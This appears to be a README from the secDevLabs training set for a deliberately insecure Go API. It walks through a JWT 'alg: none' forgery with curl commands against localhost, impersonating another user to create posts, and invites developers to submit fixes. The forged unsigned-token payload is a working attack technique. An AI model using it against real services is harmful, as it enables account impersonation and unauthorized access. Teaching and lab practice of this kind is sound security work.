Camp Crystal Lake API is a simple Golang web application that contains an example of a Broken Access Control vulnerability and its main goal is to describe how a malicious user could exploit it.
Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification, or destruction of all data or performing a business function outside the user's limits.
Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access to other users' accounts, view sensitive files, modify other users’ data, change access rights, etc.
The main goal of this app is to discuss how Broken Access Control vulnerabilities can be exploited and to encourage developers to send secDevLabs Pull Requests on how they would mitigate these flaws.
To start this intentionally insecure application, you will need Docker and Docker Compose. After forking secDevLabs, you must type the following commands to start:
cd secDevLabs/owasp-top10-2021-apps/a1/camp-lake-apimake installThen simply visit localhost:20001 ! 😆
To properly understand how this application works, you can follow this step:
- Registering a user, log in and create a new post!
Now that you know the purpose of this app, what could go wrong? The following section describes how an attacker could identify and eventually find sensitive information about the app or its users. We encourage you to follow these steps and try to reproduce them on your own to better understand the attack vector! 😜
Incorrect JWT validation, such as not validating the signature algorithm used, allows malicious users to create fake tokens and abuse JWT non-validation.
To better understand how the API works, we'll create a new user.
For this example we create the user with the following login credentials - campLakeAdmin:campLake2021
curl -s -H "Content-Type: application/json" -d '{"username":"campLakeAdmin","password":"campLake2021"}' http://localhost:20001/register
With the created user, we will login to the application with their credentials to get the JWT token. As it is a test application, the JWT token is returned to the user as soon as he is logged in.
curl -s -H "Content-Type: application/json" -d '{"username":"campLakeAdmin","password":"campLake2021"}' http://localhost:20001/login
In possession of the JWT token, we can create a new post in the API, making a POST request directly to the authenticated route newPost.
curl -s -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNhbXBMYWtlQWRtaW4iLCJleHAiOjE2MzMzODI5MzR9.aW4BTVuXaozSbF6EAJfRNsApRA_1hfk2OhaLAo250Uo' -d '{"title": "New member ", "post": "Today a new member ..."}' http://localhost:20001/newpost
However, the API does not verify the signature used by the JWT token, any malicious user can create a fake token, as shown by the image:
curl -s -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6Imphc29uVm9vcmhlc3MiLCJleHAiOjE2MzMzODM1ODZ9.' -d '{"title": "New member ", "post": "Today a new member ..."}' http://localhost:20001/newpost
How would you mitigate this vulnerability? After your changes, an attacker should not be able to:
- Use fake tokens without a valid signature.
- Impersonate other users through manipulation of the JWT.
[Spoiler alert 🚨 ] To understand how this vulnerability can be mitigated, check out these pull requests!
We encourage you to contribute to SecDevLabs! Please check out the Contributing to SecDevLabs section for guidelines on how to proceed! 🎉